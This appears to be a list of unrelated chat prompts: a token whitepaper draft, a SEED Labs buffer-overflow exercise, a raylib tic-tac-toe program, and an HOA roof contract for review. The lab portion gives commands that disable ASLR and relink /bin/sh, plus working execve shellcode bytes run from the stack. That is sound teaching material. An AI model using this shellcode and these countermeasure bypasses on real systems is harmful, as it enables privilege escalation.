finished Whitepaper. Include:\n\nPurpose and goals of the token: To create a sustainable and regenerative food system, to support farmers and communities, and to align incentives for token holders and the ecosystem growth\n\nToken classification: Utility token, ERC-20, or any other relevant classification\n\nSummarise what follows\n\n2. Background\nContext: Agrifood-health-environment\nThe world is currently facing a number of pressing interlinking issues including climate change, health, and food security. \n\nClimate change and environmental degradation are causing extreme weather events and altering growing conditions, threatening to cross tipping points for the biosphere and the continuance of civilization as we have known it. Industrial agriculture by itself is the major contributor to greenhouse gas emissions, deforestation, pollution, biodiversity loss, and decline in soil health and water availability. This is resulting in reduced crop yields and increased food insecurity, which is putting added pressure on farmers to produce more food using conventional, industrial agricultural practices that accelerate degrade the environmental degradation. \n \n\nOn the health front, the agri-food industry is facing challenges as a result of soil degradation and chemical inputs, leading to a decrease in nutritional density of food and an increase in food-borne illnesses and food toxicity. Furthermore, the current industrial agriculture system is heavily reliant on fossil fuels, contributing to air and water pollution, and negatively impacting the health of farmers and rural communities.\n\nThe current food system is inadequate in addressing food security issues, with millions of people suffering from hunger and malnourishment. It is estimated that around 33% of global food production is lost or wasted, while around 800 million people suffer from hunger and malnutrition. The industrial agriculture system is designed for maximum efficiency and profit, rather than for the benefit of communities and the environment. This has led to monoculture farming, overuse of chemicals, and a lack of diversity in the food system, all of which contribute to poor health and food insecurity. \n\nConsumers are becoming aware of these environmental and heath problems and are increasingly demanding high-quality, sustainably produced food, and the market for organic and functional food is growing rapidly. To address these challenges, there is a growing movement towards regenerative agriculture practices, which focus on regenerating soil health, water availability, and biodiversity while producing food in a sustainable manner. \n\nHowever, the lack of coordination and fragmentation in the agricultural industry makes it difficult for small farmers and regenerative agriculture projects to access the capital needed to transition to sustainanble and regenerative practices, and scale up their operations.\n\nThe Fresh Earth ecosystem aims to address these issues by promoting regenerative agriculture practices and creating a comprehensive, community-based food system that empowers individuals and businesses to take control of their food sources and improve the quality and nutritional density of the food they consume.\n\nThe deep problems - the economic system\nExternalization of costs\nThe current economic system, which prioritizes capitalism and consumerism, fails to account for the true cost of industrial agriculture, or commerce generally, on the environment and human health. Farmers who want to grow crops using sustainable methods have to invest in the transition only to find they are is outcompeted by industrial practices that have not internalised their true costs to environment and health. This leads to unsustainable practices, such as monoculture and heavy use of chemical inputs, that degrade the soil, reduce biodiversity and increase greenhouse gas emissions and pollution. These externalised costs are effectively subsidised by the individuals of the society who ultimately bear the cost of damages to environment and health. On a true free market baiss, with all costs accounted for, the regenerative and degenerative methods can compete on an equal basis. The degenerative methods with their burden of environmental, health and expensive inputs costs (fertiliser, pesticides etc) are no longer competitive with regenerative practices that do not have these costs. Additionally in a world where regeneration is valued it can become an additional source of income, ultimately making the regenerative products cheaper. This highlights the need for a comprehensive accounting of natural capital and internalization of environmental and health costs in order to create a more sustainable and equitable economic system.\n\nThe Monetary system\n\nThe monetary system, which is based on fractional reserve banking and debt-based money creation, also exacerbates this issue by creating a cycle of debt repayment. The root of this problem lies in the way that money is created and the lack of accounting for natural capital. Most money is created by commercial banks originating loans (“Promises to Repay”), which creates an increase in deposit accounts (“Money”). This creates a cycle of loan repayment that must come from some form of commerce, predominatly based based on fossil fuel energy. Because there is no accounting for natural capital, the ultimate source of the repayment is a reduction in natural capital assets, i.e. the destruction of environmental and health assets. This is seen in IMF loans to third world countries that are permanently indebted and required to mine their natural capital, even their food, to pay the interest.\n\nFurthermore, this would be the case even if the energy source were some form of non-polluting, free energy. Greenhouse gas damage is only a fraction of the total environmental and health cost of the commerce systema. As long as the destruction of nature is free of cost, and money is debt based withotu regard to social value, the competitive race to the bottom will ensure that nature and health are destroyed even faster. This highlights the need for a comprehensive accounting of natural capital and the internalization of environmental and health costs in order to create a more sustainable and equitable economic system.\n\nIn short, our current economic system is not taking into account the true cost of industrial agriculture and or other commerce on the environment and human health. This results in farmers and industry being incentivized to adopt practices that are not sustainable in the long term. Additionally, a lack of coordination and fragmentation in the agricultural industry makes it difficult for small farmers and regenerative agriculture projects to access the capital they need to scale up their operations. The root of this problem lies in the way that money is created and the lack of accounting for natural capital. In order to create a more sustainable and equitable economic system, we need to take into account the comprehensive accounting of natural capital and the internalization of environmental and health costs.\n\nEconomic Costs of the degenerative system\nThe degenerative industrial agriculture industry is facing a multitude of challenges that threaten global food security, economic stability, and human health. These issues, if left unaddressed, will result in staggering economic and health costs for society.\n\nIt's difficult to put a precise monetary value on the costs associated with the degenerative food industry as they can vary greatly depending on the specific impact and location, and many of these costs are not immediately visible and can accumulate over time. However, some estimates have been made on certain aspects of the industry. \n\nEconomic impact of food insecurity, including loss in GDP in developing countries due to micronutrient deficiencies is up to 2% of GDP according to Global Hunger Index 2014)\n\nGlobal loss in economic productivity due to macronutrient and micronutrient deficiencies is over 2-3% of GDP\n\nThe total cost of climate change is estimated to be around 2-4% of global GDP by 2100, according to the Intergovernmental Panel on Climate Change. (Greenhouse gas emissions from the food sector are estimated to be around 25% of global emissions.)\n\nExternalized damages of the $1T US food industry is estimated in a 2021 Rockerfeller Report at $2.1T\n\nAnnual healthcare costs globally due to diet-related chronic diseases such as obesity, diabetes, and heart disease is estimated by World Health Organization at $2 trillion.\n\nDeforestation caused by industrial agriculture is estimated to cost around $2-5 trillion annually in lost ecosystem services.\n\nLoss of biodiversity caused by industrial agriculture is estimated to cost around $500 billion annually.\n\nThe use of chemical inputs in industrial agriculture is estimated to cost around $5.2 billion annually in health costs in the US alone.\n\nWater pollution caused by agricultural activities is estimated to cost around $452 billion annually.\n\nIn a $100 trillion Global GDP, these estimated costs aggregate to $11-17 trillion." +'Lab Overview:\n\nBuffer overflow is defined as the condition in which a program attempts to write data beyond the boundary of a buffer. This vulnerability can be used by a malicious user to alter the flow control of the program, leading to the execution of malicious code. The objective of this lab is for students to gain practical insights into this type of vulnerability, and learn how to exploit the vulnerability in attacks. In this lab, students will be given a program with a buffer-overflow vulnerability; their task is to develop a scheme to exploit the vulnerability and finally gain the root privilege. In addition to the attacks, students will be guided to walk through several protection schemes that have been implemented in the operating system to counter against buffer-overflow attacks. Students need to evaluate whether the schemes work or not and explain why. This lab covers the following topics: \n• Buffer overflow vulnerability and attack \n• Stack layout \n• Address randomization, non-executable stack, and StackGuard \n• Shellcode (32-bit and 64-bit) \n• The return-to-libc attack, which aims at defeating the non-executable stack countermeasure, is covered in a separate lab.\n\nLab environment: This lab has been tested on the SEED Ubuntu 20.04 VM. You can download a pre-built image from the SEED website, and run the SEED VM on your own computer. However, most of the SEED labs can be conducted on the cloud, and you can follow our instruction to create a SEED VM on the cloud.\n\nEnvironment Setup:\n\nTurning Off Countermeasures \n\nModern operating systems have implemented several security mechanisms to make the buffer-overflow at-tack difficult. To simplify our attacks, we need to disable them first. Later on, we will enable them and see whether our attack can still be successful or not. \n\nAddress Space Randomization. Ubuntu and several other Linux-based systems uses address space randomization to randomize the starting address of heap and stack. This makes guessing the exact addresses difficult; guessing addresses is one of the critical steps of buffer-overflow at tacks. This feature can be disabled using the following command:\n\n$ sudo sysctl -w kernel.randomize\\_va\\_space=0\n\nConfiguring / bin/sh. In the recent versions of Ubuntu OS, the /bin/sh symbolic link points to the /bin/dash shell. The dash program, as well as bash, has implemented a security countermeasure that prevents itself from being executed in a Set-UID process. Basically, if they detect that they are executed in a Set-UID process, they will immediately change the effective user ID to the process’s real user ID, essentially dropping the privilege. \nSince our victim program is a Set-UID program, and our attack relies on running /bin/sh, the countermeasure in /bin/dash makes our attack more difficult. Therefore, we will link /bin/sh to another shell that does not have such a countermeasure (in later tasks, we will show that with a little bit more effort, the countermeasure in /bin/dash can be easily defeated). We have installed a shell program called zsh in our Ubuntu 20.04 VM. The following command can be used to link /bin/sh to zsh:\n\n$ sudo ln -sf /bin/zsh/bin/sh\n\nStackGuard and Non-Executable Stack. These are two additional countermeasures implemented in the system. They can be turned off during the compilation. We will discuss them later when we compile the vulnerable program. \nTroubleshoot: Make sure setuid is installed. If not use sudo apt-get install super. If zsh is not installed then use sudo apt install zsh\nIf you get dependency error while compiling try: sudo apt-get install gcc-multilib\n\nTask 1: Getting familiar with Shellcode\n\nThe ultimate goal of buffer-overflow attacks is to inject malicious code into the target program, so the code can be executed using the target program’s privilege. Shellcode is widely used in most code-injection attacks. Let us get familiar with it in this task.\n\n1.1 The C Version of Shellcode\n\nA shellcode is basically a piece of code that launches a shell. If we use C code to implement it, it will look like the following:\n\n#include \n\nint main() { \nchar \\*name[2];\nname[0] = "/bin/sh"; \nname[1] = NULL; \nexecve(name[0], name, NULL); \n}\n\nUnfortunately, we cannot just compile this code and use the binary code as our shellcode (detailed explanation is provided in the SEED book). The best way to write a shellcode is to use assembly code. In this lab, we only provide the binary version of a shellcode, without explaining how it works (it is non-trivial). If you are interested in how exactly shellcode works and you want to write a shellcode from scratch, you can learn that from a separate SEED lab called Shellcode Lab.\n\n1.2 32-bit Shellcode\n; Store the command on stack \nxor eax, eax \npush eax \npush "//sh" \npush "/bin" \nmov ebx, esp ; ebx --> "/bin//sh": execve()’s 1st argument \n\n; Construct the argument array argv[] \npush eax ; argv[1] = 0 \npush ebx ; argv[0] --> "/bin//sh" \nmov ecx, esp ; ecx --> argv[]: execve()’s 2nd argument \n\n; For environment variable \nxor edx, edx ; edx = 0: execve()’s 3rd argument \n\n; Invoke execve() \nxor eax, eax ; \nmov al, 0x0b ; execve()’s system call number \nint 0x80\n\nThe shellcode above basically invokes the execve() system call to execute /bin/sh. In a separate SEED lab, the Shellcode lab, we guide students to write shellcode from scratch. Here we only give a very brief explanation. \n• The third instruction pushes "//sh", rather than "/sh" into the stack. This is because we need a 32-bit number here, and "/sh" has only 24 bits. Fortunately, "//" is equivalent to "/", so we can get away with a double slash symbol. \n• We need to pass three arguments to execve() via the ebx, ecx and edx registers, respectively. The majority of the shellcode basically constructs the content for these three arguments. \n• The system call execve() is called when we set al to 0x0b, and execute "int 0x80"\n\n1.3 64-Bit Shellcode\n\nWe provide a sample 64-bit shellcode in the following. It is quite similar to the 32-bit shellcode, except that the names of the registers are different and the registers used by the execve() system call are also different. Some explanation of the code is given in the comment section, and we will not provide detailed explanation on the shellcode.\n\nxor rdx, rdx ; rdx = 0: execve()’s 3rd argument \npush rdx \nmov rax, ’/bin//sh’ ; the command we want to run \npush rax ; \nmov rdi, rsp ; rdi --> "/bin//sh": execve()’s 1st argument \npush rdx ; argv[1] = 0 \npush rdi ; argv[0] --> "/bin//sh" \nmov rsi, rsp ; rsi --> argv[]: execve()’s 2nd argument \nxor rax, rax \nmov al, 0x3b ; execve()’s system call number syscall\nsyscall\n\n1.4 Task: Invoking the Shellcode\n\nWe have generated the binary code from the assembly code above, and put the code in a C program called call shellcode.c inside the shellcode folder. If you would like to learn how to generate the binary code yourself, you should work on the Shellcode lab. In this task, we will test the shellcode.\n\n#include \n#include \n#include \n\nconst char shellcode[] =\n#if \\_\\_x86\\_64\\_\\_\n"\\x48\\x31\\xd2\\x52\\x48\\xb8\\x2f\\x62\\x69\\x6e"\n"\\x2f\\x2f\\x73\\x68\\x50\\x48\\x89\\xe7\\x52\\x57"\n"\\x48\\x89\\xe6\\x48\\x31\\xc0\\xb0\\x3b\\x0f\\x05"\n#else\n"\\x31\\xc0\\x50\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f"\n"\\x62\\x69\\x6e\\x89\\xe3\\x50\\x53\\x89\\xe1\\x31"\n"\\xd2\\x31\\xc0\\xb0\\x0b\\xcd\\x80"\n#endif\n;\n\nint main(int argc, char \\*\\*argv) \n{ \nchar code[500]; \nstrcpy(code, shellcode); // Copy the shellcode to the stack \nint (\\*func)() = (int(\\*)())code; \nfunc(); // Invoke the shellcode from the stack \nreturn 1; \n}\n\nThe code above includes two copies of shellcode, one is 32-bit and the other is 64-bit. When we compile the program using the -m32 flag, the 32-bit version will be used; without this flag, the 64-bit version will be used. Using the provided Makefile, you can compile the code by typing make. Two binaries will be created, a32.out (32-bit) and a64.out (64-bit). Run them and describe your observations. It should be noted that the compilation uses the execstack option, which allows code to be executed from the stack; without this option, the program will fail. Compile it again by typing make setuid and run them again. Report the difference in your observation.\n\nHow do I do Task 1' +'the ai finally works! just to be safe, are there any memory leaks at the moment? current code for ref:\n```c\n#include \n#include \n#include "raylib.h"\n#include "string.h"\n\n#define BOARD\\_SIZE 3\n#define CELL\\_SIZE 100\n#define SCREEN\\_WIDTH (CELL\\_SIZE \\* BOARD\\_SIZE)\n#define SCREEN\\_HEIGHT (CELL\\_SIZE \\* BOARD\\_SIZE)\n\ntypedef enum\n{\n EMPTY,\n PLAYER1,\n PLAYER2\n} Cell;\n\nCell board[BOARD\\_SIZE][BOARD\\_SIZE];\n\nint GetWinningDirection(int player, Cell currentBoard[BOARD\\_SIZE][BOARD\\_SIZE]);\nbool CheckDraw();\nvoid DrawBoard(bool gameOver, int winner);\nvoid DrawWinMessage(int player);\nvoid ResetBoard();\n\nVector2 GetMouseCell();\nVector2 AIGetMove();\n\nint main()\n{\n InitWindow(SCREEN\\_WIDTH, SCREEN\\_HEIGHT, "Tic Tac Toe");\n SetTargetFPS(60);\n ResetBoard();\n\n int currentPlayer = PLAYER1;\n bool gameOver = false;\n int winner = 0;\n\n while (!WindowShouldClose())\n {\n if (!gameOver)\n {\n Vector2 move = {-1, -1};\n if (currentPlayer == PLAYER1 && IsMouseButtonPressed(MOUSE\\_LEFT\\_BUTTON))\n {\n move = GetMouseCell();\n }\n else if (currentPlayer == PLAYER2)\n {\n move = AIGetMove();\n }\n\n if (move.x != -1 && move.y != -1 && board[(int)move.y][(int)move.x] == EMPTY)\n {\n board[(int)move.y][(int)move.x] = currentPlayer;\n int winningDirection = GetWinningDirection(currentPlayer, board);\n if (winningDirection)\n {\n gameOver = true;\n winner = currentPlayer;\n }\n else if (CheckDraw())\n {\n gameOver = true;\n }\n else\n {\n currentPlayer = (currentPlayer == PLAYER1) ? PLAYER2 : PLAYER1;\n }\n }\n }\n\n if (gameOver && IsKeyPressed(KEY\\_R))\n {\n ResetBoard();\n currentPlayer = PLAYER1;\n gameOver = false;\n winner = 0;\n }\n\n BeginDrawing();\n ClearBackground(RAYWHITE);\n DrawBoard(gameOver, winner);\n if (gameOver)\n {\n DrawWinMessage(winner);\n }\n EndDrawing();\n }\n\n CloseWindow();\n return 0;\n}\n\nVector2 GetMouseCell() {\n int x = GetMouseX() / CELL\\_SIZE;\n int y = GetMouseY() / CELL\\_SIZE;\n return (Vector2){x, y};\n}\n\nVector2 AIGetMove()\n{\n Vector2 bestMove = {-1, -1};\n Cell tempBoard[BOARD\\_SIZE][BOARD\\_SIZE];\n\n // Copy the current board state\n memcpy(tempBoard, board, BOARD\\_SIZE \\* BOARD\\_SIZE \\* sizeof(Cell));\n\n // Check for a winning move\n for (int i = 0; i < BOARD\\_SIZE; i++)\n {\n for (int j = 0; j < BOARD\\_SIZE; j++)\n {\n if (tempBoard[i][j] == EMPTY)\n {\n tempBoard[i][j] = PLAYER2;\n if (GetWinningDirection(PLAYER2, tempBoard))\n {\n return (Vector2){j, i};\n }\n tempBoard[i][j] = EMPTY;\n }\n }\n }\n\n // Check for the opponent\'s winning move and block it\n for (int i = 0; i < BOARD\\_SIZE; i++)\n {\n for (int j = 0; j < BOARD\\_SIZE; j++)\n {\n if (tempBoard[i][j] == EMPTY)\n {\n tempBoard[i][j] = PLAYER1;\n if (GetWinningDirection(PLAYER1, tempBoard))\n {\n return (Vector2){j, i};\n }\n tempBoard[i][j] = EMPTY;\n }\n }\n }\n\n // If neither of the above, make a random move\n Vector2 moves[BOARD\\_SIZE \\* BOARD\\_SIZE];\n int moveCount = 0;\n\n for (int i = 0; i < BOARD\\_SIZE; i++)\n {\n for (int j = 0; j < BOARD\\_SIZE; j++)\n {\n if (board[i][j] == EMPTY)\n {\n moves[moveCount++] = (Vector2){j, i};\n }\n }\n }\n\n if (moveCount > 0)\n {\n bestMove = moves[GetRandomValue(0, moveCount - 1)];\n }\n\n return bestMove;\n}\n\n/\\*\n \\* GetWinningDirection returns an integer representing the winning direction for a given player.\n \\* Return values:\n \\* 0 - No win\n \\* 1 to BOARD\\_SIZE - Horizontal win in the corresponding row\n \\* BOARD\\_SIZE + 1 to 2 \\* BOARD\\_SIZE - Vertical win in the corresponding column\n \\* 2 \\* BOARD\\_SIZE + 1 - Diagonal win from top-left to bottom-right\n \\* 2 \\* BOARD\\_SIZE + 2 - Diagonal win from top-right to bottom-left\n \\*/\nint GetWinningDirection(int player, Cell currentBoard[BOARD\\_SIZE][BOARD\\_SIZE])\n{\n for (int i = 0; i < BOARD\\_SIZE; i++)\n {\n if ((currentBoard[i][0] == player && currentBoard[i][1] == player && currentBoard[i][2] == player))\n { // Check rows\n return i + 1;\n }\n if ((currentBoard[0][i] == player && currentBoard[1][i] == player && currentBoard[2][i] == player))\n { // Check columns\n return i + BOARD\\_SIZE + 1;\n }\n }\n\n // Check diagonals\n if ((currentBoard[0][0] == player && currentBoard[1][1] == player && currentBoard[2][2] == player))\n {\n return 2 \\* BOARD\\_SIZE + 1;\n }\n if ((currentBoard[0][2] == player && currentBoard[1][1] == player && currentBoard[2][0] == player))\n {\n return 2 \\* BOARD\\_SIZE + 2;\n }\n\n return 0;\n}\n\nbool CheckDraw()\n{\n for (int i = 0; i < BOARD\\_SIZE; i++)\n {\n for (int j = 0; j < BOARD\\_SIZE; j++)\n {\n if (board[i][j] == EMPTY)\n {\n return false;\n }\n }\n }\n return true;\n}\n\nvoid DrawBoard(bool gameOver, int winner)\n{\n for (int i = 1; i < BOARD\\_SIZE; i++)\n {\n DrawLine(i \\* CELL\\_SIZE, 0, i \\* CELL\\_SIZE, SCREEN\\_HEIGHT, BLACK);\n DrawLine(0, i \\* CELL\\_SIZE, SCREEN\\_WIDTH, i \\* CELL\\_SIZE, BLACK);\n }\n\n for (int i = 0; i < BOARD\\_SIZE; i++)\n {\n for (int j = 0; j < BOARD\\_SIZE; j++)\n {\n int x = j \\* CELL\\_SIZE;\n int y = i \\* CELL\\_SIZE;\n\n if (board[i][j] == PLAYER1)\n {\n DrawText("X", x + CELL\\_SIZE / 2 - 10, y + CELL\\_SIZE / 2 - 10, 20, BLACK);\n }\n else if (board[i][j] == PLAYER2)\n {\n DrawText("O", x + CELL\\_SIZE / 2 - 10, y + CELL\\_SIZE / 2 - 10, 20, BLACK);\n }\n }\n }\n\n if (gameOver && winner)\n {\n int dir = GetWinningDirection(winner, board);\n if (dir >= 1 && dir <= BOARD\\_SIZE)\n { // Horizontal line\n int y = (dir - 1) \\* CELL\\_SIZE + CELL\\_SIZE / 2;\n DrawLine(0, y, SCREEN\\_WIDTH, y, RED);\n }\n else if (dir >= BOARD\\_SIZE + 1 && dir <= 2 \\* BOARD\\_SIZE)\n { // Vertical line\n int x = (dir - BOARD\\_SIZE - 1) \\* CELL\\_SIZE + CELL\\_SIZE / 2;\n DrawLine(x, 0, x, SCREEN\\_HEIGHT, RED);\n }\n else if (dir == 2 \\* BOARD\\_SIZE + 1)\n { // Diagonal from top-left to bottom-right\n DrawLine(0, 0, SCREEN\\_WIDTH, SCREEN\\_HEIGHT, RED);\n }\n else if (dir == 2 \\* BOARD\\_SIZE + 2)\n { // Diagonal from top-right to bottom-left\n DrawLine(SCREEN\\_WIDTH, 0, 0, SCREEN\\_HEIGHT, RED);\n }\n }\n}\n\nvoid DrawWinMessage(int winner)\n{\n const char \\*messageLine1;\n const char \\*messageLine2 = "Press R to restart.";\n\n if (winner == PLAYER1)\n {\n messageLine1 = "Player 1 (X) wins!";\n }\n else if (winner == PLAYER2)\n {\n messageLine1 = "Player 2 (O) wins!";\n }\n else\n {\n messageLine1 = "It\'s a draw!";\n }\n\n int textWidth1 = MeasureText(messageLine1, 20);\n int textWidth2 = MeasureText(messageLine2, 20);\n int textHeight = 20;\n\n // Draw a semi-transparent background rectangle to improve readability\n DrawRectangle((SCREEN\\_WIDTH - textWidth1) / 2 - 20, SCREEN\\_HEIGHT / 2 - 50, textWidth1 + 40, textHeight \\* 2 + 40, (Color){0, 0, 0, 128});\n\n DrawText(messageLine1, (SCREEN\\_WIDTH - textWidth1) / 2, SCREEN\\_HEIGHT / 2 - 30, 20, RAYWHITE);\n DrawText(messageLine2, (SCREEN\\_WIDTH - textWidth2) / 2, SCREEN\\_HEIGHT / 2, 20, RAYWHITE);\n}\n\nvoid ResetBoard()\n{\n for (int i = 0; i < BOARD\\_SIZE; i++)\n {\n for (int j = 0; j < BOARD\\_SIZE; j++)\n {\n board[i][j] = EMPTY;\n }\n }\n}\n```' +"The Del Mar Woods Home Owners Association received the quote below for a roof repair.\nPlease advise on any addition(s), suppression(s) or modification(s) pf terms or legal language that the HOA might want to request in order to maximize the HOA's interests. In listing these changes please indicate for each a level of importance for the HOA, as well as a level of likelihood the contractor might find the change acceptable.\nHere is the quote:\n \n\n3110 S. Santa Fe Avenue, San Marcos CA. 92069, Office 760-471-7131, License # 820802 Submitted To: Dana Hopkins- NNJ Date: March 18, 2023, Rev. 1 Direct: 858-795-7006 \nEmail: dhopkins@nnj.com \nProperty: Del Mar Woods, 280 Surfview Court, Del Mar, CA. 92014 (approx. 100 square feet of roof) SDRD recommends to re-roof an approx. 8’ x 10’ area \nOption A: Complete new Carlisle or Mule Hide 60 mil TPO Roof System \n1. Maintain general and workman’s compensation insurance. Contractor shall provide worker’s compensation and general liability insurance. Relevant liability policy limits currently maintained by Contractor are: \n General Liability: $2,000,000 general aggregate Automobile: $1,000,000 combined single limit Contractor's liability insurance shall be comprehensive broad form coverage and shall include, without limitation: (1) Premises/Operations; (2) Products and Completed Operations; (3) Bodily Injury and Personal Injury Liability with Employment Exclusion deleted; (4) Contractual, including a specified provision for Contractor's indemnity obligations; (5) Broad Form Property Damage; and Owned, non-owned and hired motor vehicles. Contractor shall also maintain worker's compensation as required by law. Contractor shall name the Owner, its agents, consultants, and the Owner's management company as additional insureds under all of the above-required policies, except for worker's compensation coverage. Contractor's insurance policies must not contain any exclusion for work performed at a common interest subdivision, an insured versus insured exclusion, or a contractor's conditions of coverage endorsement requirement. \nINDEMNIFICATION: Contractor agrees to indemnify the OWNER from any damages assessed against OWNER related to, and all costs incurred in connection with, any legal action, except to the extent that such damages or costs result from the OWNER’S sole negligence or willful misconduct as it may pertain to the Work per this Agreement. \n2. Comply with OSHA fall protection requirements. \n3. Roofing crews shall display uniforms at all times to quickly identify company employees. 4. Wear protective equipment such as, hard hats, safety glasses, high visibility vest for the duration of the project. \n5. Working hours will start approx. 8:00 AM and ending at approx. 4:30 PM \n6. SDRD will be applying new TPO roof system. \n7. Remove old Torch-down Roof System. \n8. Replace damaged or need wood at an additional cost of: \n$135 per sheet of 15/32” CDX plywood. \n$28.00 per foot of fascia board. \n$12.00 per linear foot of 2x rafter supports \n$16.00 per linear foot of 2X T&G boards. \nAdditional wood to be authorized before replacement by an approved “Change Order”. 9. If a new plywood tapered system is requested, with new plywood and ripped rafters 16” OC, there will be an additional cost Change Order at a rate of $190.00 per man hour, plus, materials. New tapered system to be a minimum of ¼” per foot slope. \n10. Pull out old nails (do not drive nails down into deck). \n11. Clean-up and haul away all debris daily. \n12. Magnet sweep entire work area 2 times at the end of every day for the duration of project. 13. Install 2 layers of FR-10 for application of new TPO roof system, according to code. 14. Apply new factory perimeter clad metal. \n15. \\* New Code for flat roofs, install a minimum of R10 poly insulation above roof deck is now required for all flat roofs. Install 2 layers of 1.5” poly insulation staggered to comply with new code. 16. Install new 60 Mil TPO roof system. Color to be “ WHITE”. Mule Hide or Carlisle. 17. Provide a 20 year NDL labor and material warranty from manufacturer. Mule Hide or Carlisle 18. Provide a 10year Workmanship Warranty on all work performed from San Diego Roof Doctor. 19. Remove company equipment and related debris from job-site upon completion. 20. Email a daily project progress report with pictures at the end of every working day if requested. \n60 Mil TPO Roof $ 1,856.00 \n2 layers of 1.5 poly Insulation $ 950.00 \nCost $ 2,806.00 Total Acceptance \\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_ date\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_ \nOptional: Double Modified torch-down to match existing, same price \nAcceptance \\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_ date\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_ \nTerms: to be paid upon completion \nProposal goof for 45 days \nSincerely,\nEmilio Lopez/Owner/ Roof Expert/ Consultant \nSan Diego Roof Doctor “Over 36 years in the roofing industry” \nSan Diego Rain Gutters “Over 44 years in the gutter industry” \n3110 S. Santa Fe Avenue \nSan Marcos, CA. 92069 \nOffice: 760-471-7131 \nFax: 760-471-7132 \nDirect: 760-533-3301 \nEmail: emilio@sdroofdoctor.com \n \nStandard Provisions \n(1) If HOA/Agent/Buyer requests any alteration or deviation from the specifications in this Agreement, there will be an extra charge over and above the contract price shown on the front of this Agreement. These extra charges will be added to the contract price and paid in full upon Contractor’s completion on work. \n(2) This Agreement is not binding until accepted and approved at Contractor’s home office. Should work not commence within 180 days from acceptance of this Agreement, either party shall have the right to cancel this Agreement. \n(3) Contractor is not responsible for TV Antennas, guy wires, cable services, adjustment of rooftop equipment, debris inside attic space or garage or re-setting of dish signal or any interior articles dislodged due to vibrations from work activities on the roof such as mirrors, fans, light fixtures, \nshelves and wall hangings. HOA/Agent/Buyer to make all preparations to secure and loose items. Any homeowner articles shall be moved prior to work in the work area. \n(4) Contractor is not responsible for re-pitching, re-sloping, or correcting existing roof surfaces to eliminate ponding or collection of water unless expressly stated herein. Contractor is not responsible for pre-existing conditions or damages (such as cracked driveways or sagging roof members) resulting therefrom; or for damages caused by prior roof leaks, sheet rock cracks, sheet rock nail pops, paint flaking, curbs, sidewalks, patios, lawns, shrubs, plants, tile, marble improperly installed or hidden wiring, water or gas lines or the repair of any such conditions. \n(5) Contractor agrees to use reasonable care when moving, raising or lifting objects such as solar panels, gutters, conduits, sings, skylights, air conditioners, etc. but shall assume no responsibility for the operation of or damage to any such objects. \n(6) If HOA/Owner/Buyer fails to pay Contractor on all unpaid accounts, HOA/Owner/Buyer agrees to pay, as a late payment penalty, interest on the unpaid balance at the rate of one and one half (1.5%) percent per month (18 percent per annum). \n(7) If legal action is initiated by either party to this Agreement to (1) collect payment of any portion of the contract price. (2) Enforce either party’s express obligations under the contract or (3) obtain rescission of this Agreement the prevailing party in such litigation shall be entitled to reasonable attorney’s fees, in addition to all other relief to which that party may be entitled. This provision for attorney’s fees is expressly limited to actions on the contract, as mentioned above, and shall not be interpreted or construed to apply to any other claims. \n(8) Contractor shall be deemed to have substantially commenced work at the earlier or (1) the time materials or equipment are delivered to the jobsite, or (2) the time removal or modification of any existing roof covering begins. Contractor’s failure to substantially commence work within 20 days from the approximated dated specified in this Agreement is a violation of the Contractor’s License Law, unless the Contractor has a legal excuse for such delay. Allowance in approximate commencement and completion dates shall be made for delays attributable to circumstances beyond Contractor’s control. \n(9) Contractor shall have the right to stop work and keep the job idle if payments are not made to Contractor when due. If Contractor stops work for non-payment, HOA/Owner/Buyer shall be responsible for any damage, delay weather damage, properly damage, loss or injury to materials or equipment, additional work, or re-work resulting during or from such delay. \n(10)The sales representative presenting this Agreement to Buyer is not authorized to orally amend or supplement the terms of this Agreement. Any attempted oral modification of this Agreement is void. This Agreement constitutes the entire agreement between HOA/Owner/Buyer and Contractor. All prior or contemporaneous discussions, negotiations, arrangements are superseded by this written Agreement. \n(11)If the performance by the Agreement reasonably requires removal, contact with, or disturbance or any toxic, hazardous, regulated, or dangerous material. Contractor may require HOA/Owner/Buyer, at his or her expense, to hire licensed specialist to remove, abate or address such hazardous materials. If HOA/Owner/Buyer does not promptly engage such specialty contractors, Contractor may cancel this Agreement. Upon cancellation, HOA/Owner/Buyer shall pay Contractor the reasonable value of the goods and services provided by Contractor up to the time of cancellation. \n(12)Where colors are to be matched, the contractor shall make every reasonable effort to do so using colors and materials, but does not guarantee a perfect match. \n(13)Owner to contain or cage all animals. \n(14)Owner to remove vehicles beyond 60 feet from residence during roofing. \n(15)HOA/Buyer/Agent is responsible for cost if owner changes color choice. \n(16)HOA/Buyer/Agent to provide adequate temporary power if needed.\n(17)SD Roof Doctor is not responsible for skylights, movement or cracking of drywall. (18)All projected start dates are subject to weather permitting. \n(19)Owner/Buyer/Agent shall maintain proper yearly roof maintenance for warranty purposes. \n(20)Warranty explanation: If roof generates a leak during the labor warranty period, SDRD will provide all necessary tools, material and labor to repair the leak without any charges. SDRD, is not responsible for damages caused by leak nor does accept any responsibilities or liabilities, but the sole agreement to repair the leak. The warranty does not cover any leak caused by negligence, owner’s agents or associates, any unauthorized person walking or tampering with or on the roof, vandalism, fire, or any damage caused by an Act of God. \nOwner is responsible for routine roof maintenance. Roof warranty is not a maintenance agreement or an insurance policy. Routine inspections and maintenance must be completed by HOA/Owner/Buyer on a regular basis and is in the HOA/Owner/Buyer’s responsibility. Inspections shall take place on annual basis and documented. Periodic inspections shall include making minor repairs, cleaning off debris, cleaning filters and gutters, unclogging drains, etc., and are the HOA/Buyer/Owner’s responsibility. Lack of regular maintenance shall void warranty. \n Notice to Owner \nUnder the California Mechanics Lien Law any contractor, subcontractor, laborer, supplies or other persona who helps to improve your property but is not paid for his/her work or supplies, has a right to enforce a claim against your property. This means that after a court hearing, your property could be sold by a court officer and the proceeds of the sale used to satisfy the indebtedness. This can happen even if you have paid your contractor in full the subcontractors, laborers, or suppliers remain unpaid. \nTo preserve their right to file a claim or lien against your property, certain claimants such as subcontractors or materials suppliers are required to provide you with a document entitled “Preliminary Notice.” Original (or prime) contractors and laborers for wages do not have to provide this notice. A Preliminary Notice is not a 